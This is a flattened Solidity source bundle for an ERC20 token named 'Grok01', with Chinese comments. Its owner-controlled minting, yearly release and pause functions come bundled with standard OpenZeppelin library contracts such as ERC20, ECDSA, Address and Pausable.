data.length; i++) { str[2+i*2] = alphabet[uint(uint8(data[i] >> 4))]; str[3+i*2] = alphabet[uint(uint8(data[i] & 0x0f))]; } return string(str); } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.6 <0.9.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; import "./Utils.sol"; /** * Grok的核心合约 */ contract GrokCore is Base, ERC20, ERC20Burnable { // 自定义的用于控制Grok核心合约地址的角色 bytes32 private constant CONTROL_ROLE = keccak256("CONTROL_ROLE"); // 每次放水的间隔时间,单位s uint private constant RELEASE_INTERVAL = 31536000 seconds; // 当前是否正在铸造剩余Grok bool _mintting_remaining = false; uint256 private _remaining_amount; uint private _next_release_time; uint256 private _next_release_amount; // Grok核心合约构造函数 constructor(uint256 total_amount) ERC20("Grok01", "GROK01") { uint256 init_amount = total_amount * 6 / 10; _remaining_amount = init_amount; //初始化剩余的Grok _next_release_time = block.timestamp + RELEASE_INTERVAL; //初始化下次放水的时间,单位s _next_release_amount = _remaining_amount / 10; //初始化后续每次放水的Grok数量 _mint(address(owner()), init_amount * 10 ** decimals()); //在合约构造时,在当前合约地址上铸造指定数量一半的Grok } // 为Grok核心合约设置Grok控制合约 function setController(address controller) external onlyOwner isContract(controller) { grantRole(CONTROL_ROLE, controller); } // 转移合约所有权 function moveOwner(address to) external onlyOwner isExternal(to) { transferOwnership(to); } // 冻结Grok核心合约的所有转账操作 function pause() public onlyOwner whenNotPaused { _pause(); } // 解除Grok的转账冻结 function unpause() public onlyOwner whenPaused { _unpause(); } // 覆盖Grok转账前的预处理,用于提现的预处理 function _beforeTokenTransfer(address from, address to, uint256 amount) internal whenNotPaused override { //Grok转账前的预处理 //from和to都非0,则正常转账 //只有from为0,则立即铸造指定数量的Grok,并向to转账 //只有to为0,则消毁from指定数量的Grok //from和to不可同时为0,否则转账失败 super._beforeTokenTransfer(from, to, amount); } // 覆盖Grok转账后的后处理,用于在指定时间后一次性放水,铸造剩余的一半Grok function _afterTokenTransfer(address from, address to, uint256 amount) internal whenNotPaused override { //还未到达下次放水的时间,则立即返回 if(block.timestamp < _next_release_time) return; //没有可放水的剩余Grok,则立即返回 if(_remaining_amount <= 0) return; if(_mintting_remaining) { //当前正在铸造剩余Grok,则立即返回 return; } else { //当前未在铸造剩余Grok,则设置为正在铸造Grok _mintting_remaining = true; } if(_remaining_amount < _next_release_amount) { //当前剩余Grok少于这次准备放水的Grok,则设置这次准备放水的Grok为剩余Grok _next_release_amount = _remaining_amount; } //铸造指定数量的Grok _mint(address(owner()), _next_release_amount * 10 ** decimals()); _next_release_time = block.timestamp + RELEASE_INTERVAL; //更新下次放水的时间 _remaining_amount -= _next_release_amount; //更新当前剩余Grok _mintting_remaining = false; //本次铸造Grok已结束,则设置为未在铸造Grok } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol) pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../utils/Context.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed 